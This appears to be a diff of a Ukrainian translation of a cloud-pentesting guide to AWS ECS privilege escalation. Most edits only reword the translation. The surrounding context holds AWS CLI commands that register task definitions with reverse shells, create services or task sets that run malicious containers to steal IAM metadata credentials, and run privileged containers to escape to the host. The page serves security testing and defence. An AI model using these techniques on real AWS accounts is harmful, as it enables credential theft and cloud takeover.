-Як і в попередньому прикладі, атакуючий, зловживаючи дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **згенерувати нове визначення задачі** з **шкідливим контейнером**, який викрадає облікові дані метаданих, і **запустити його, створивши нову службу з принаймні 1 запущеним завданням.**
+Як і в попередньому прикладі, attacker, який зловживає правами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **згенерувати новий task definition** з **шкідливим контейнером**, який викрадає metadata credentials, і **запустити його, створивши новий service з принаймні 1 запущеним task.**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 --service <SERVICE NAME> \
 --task-definition <NEW TASK DEFINITION NAME>
 ```
-**Potential Impact:** Прямий privesc до будь-якої ролі ECS.
+**Потенційний вплив:** Прямий privesc до будь-якої ролі ECS.
 
 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
 
-Насправді, лише з цими дозволами можна використовувати overrides для виконання довільних команд у контейнері з довільною роллю приблизно так:
+Насправді, лише з цими дозволами можна використовувати overrides, щоб виконати довільні команди в контейнері з довільною роллю за допомогою чогось на кшталт:
 ```bash
 aws ecs run-task \
 --task-definition "<task-name>" \
@@ -181,16 +181,16 @@ aws ecs run-task \
 --cluster <cluster-name> \
 --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-**Можливий вплив:** Direct privesc to any ECS role.
+**Потенційний вплив:** Прямий privesc до будь-якої ролі ECS.
 
 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-Цей сценарій схожий на попередні, але **без** **`iam:PassRole`** дозволу.\
-Це все ще цікаво, тому що якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **run a privileged container to escape** на вузол і **steal the EC2 IAM role** та **the other ECS containers roles**, що працюють на ньому.\
-Ви навіть можете **force other tasks to run inside the EC2 instance** яку ви скомпрометували, щоб викрасти їхні облікові дані (як обговорено в [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
+Цей сценарій схожий на попередні, але **без** дозволу **`iam:PassRole`**.\
+Це все ще цікаво, тому що, якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **запустити привілейований контейнер, щоб вийти на вузол** і **вкрасти EC2 IAM роль** та **ролі інших контейнерів ECS**, що працюють на вузлі.\
+Ви навіть можете **змусити інші таски запускатися всередині EC2 інстансу**, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорено в розділі [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
 
 > [!WARNING]
-> Ця атака можлива лише якщо **ECS cluster is using EC2** інстанси і не Fargate.
+> Ця атака можлива тільки якщо **ECS cluster** використовує **EC2** інстанси, а не **Fargate**.
 ```bash
 printf '[
 {
@@ -233,10 +233,10 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-Зловмисник з правами **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та екфільтрувати прикріплену до нього IAM роль (вам потрібні дозволи describe, оскільки вони необхідні для виконання `aws ecs execute-command`).\
-Однак, для цього інстанс контейнера має бути запущений з **ExecuteCommand agent** (за замовчуванням цього немає).
+Зловмисник з правами **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та ексфільтрувати прикріплену до нього роль IAM (потрібні права describe, оскільки для запуску `aws ecs execute-command` вони необхідні).\
+Однак для цього інстанс контейнера має працювати з **ExecuteCommand agent** (за замовчуванням це не так).
 
-Тому зловмисник може спробувати:
+Отже, зловмисник може спробувати:
 
 - **Спробувати виконати команду** в кожному запущеному контейнері
 ```bash
@@ -256,18 +256,18 @@ aws ecs execute-command --interactive \
 --cluster "$CLUSTER_ARN" \
 --task "$TASK_ARN"
 ```
-- Якщо має **`ecs:RunTask`**, запустіть задачу за допомогою `aws ecs run-task --enable-execute-command [...]`
-- Якщо має **`ecs:StartTask`**, запустіть задачу за допомогою `aws ecs start-task --enable-execute-command [...]`
-- Якщо має **`ecs:CreateService`**, створіть сервіс за допомогою `aws ecs create-service --enable-execute-command [...]`
-- Якщо має **`ecs:UpdateService`**, оновіть сервіс за допомогою `aws ecs update-service --enable-execute-command [...]`
+- Якщо у нього є **`ecs:RunTask`**, запустіть завдання за допомогою `aws ecs run-task --enable-execute-command [...]`
+- Якщо у нього є **`ecs:StartTask`**, запустіть завдання за допомогою `aws ecs start-task --enable-execute-command [...]`
+- Якщо у нього є **`ecs:CreateService`**, створіть сервіс за допомогою `aws ecs create-service --enable-execute-command [...]`
+- Якщо у нього є **`ecs:UpdateService`**, оновіть сервіс за допомогою `aws ecs update-service --enable-execute-command [...]`
 
-Ви можете знайти **приклади цих опцій** у **попередніх розділах ECS privesc**.
+Ви можете знайти **приклади цих опцій** в **попередніх розділах ECS privesc**.
 
-**Potential Impact:** Privesc до іншої ролі, прикріпленої до контейнерів.
+**Потенційний вплив:** Privesc до іншої ролі, прив’язаної до контейнерів.
 
 ### `ssm:StartSession`
 
-Перевірте на **ssm privesc page**, як можна зловживати цим дозволом, щоб **privesc to ECS**:
+Перегляньте **ssm privesc page**, щоб дізнатися, як можна зловживати цим дозволом для **privesc to ECS**:
 
 {{#ref}}
 aws-ssm-privesc.md
@@ -275,7 +275,7 @@ aws-ssm-privesc.md
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-Перевірте на **ec2 privesc page**, як можна зловживати цими дозволами, щоб **privesc to ECS**:
+Перегляньте **ec2 privesc page**, щоб дізнатися, як можна зловживати цими дозволами для **privesc to ECS**:
 
 {{#ref}}
 aws-ec2-privesc.md
@@ -283,16 +283,16 @@ aws-ec2-privesc.md
 
 ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
 
-Attacker з цими дозволами потенційно може зареєструвати EC2 інстанс у ECS кластері та запускати завдання на ньому. Це могло б дозволити attacker виконувати довільний код у контексті завдань ECS.
+Атакувальник з цими дозволами може потенційно зареєструвати EC2 інстанс в ECS кластері та запускати на ньому таски. Це може дозволити виконувати довільний код в контексті ECS tasks.
 
-- TODO: Чи можливо зареєструвати інстанс з іншого AWS акаунту, щоб завдання виконувалися на машинах, контрольованих attacker??
+- TODO: Чи можливо зареєструвати інстанс з іншого AWS акаунта, щоб таски виконувались на машинах, контрольованих атакуючим??
 
 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
 
 > [!NOTE]
 > TODO: Протестувати це
 
-Attacker з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, та `ecs:DescribeTaskSets` може **create a malicious task set for an existing ECS service and update the primary task set**. Це дозволяє attacker **execute arbitrary code within the service**.
+Атакувальник з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити шкідливий task set для існуючого ECS service та оновити primary task set**. Це дозволяє атакувальнику **виконувати довільний код в межах сервісу**.
 ```bash
 # Register a task definition with a reverse shell
 echo '{
@@ -318,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
-**Потенційний вплив**: Виконання довільного коду в ураженому сервісі, що потенційно може вплинути на його функціональність або exfiltrating конфіденційних даних.
+**Потенційний вплив**: Виконання довільного коду у постраждалій службі, що може вплинути на її функціональність або призвести до несанкціонованої ексфільтрації конфіденційних даних.
 
 ## Посилання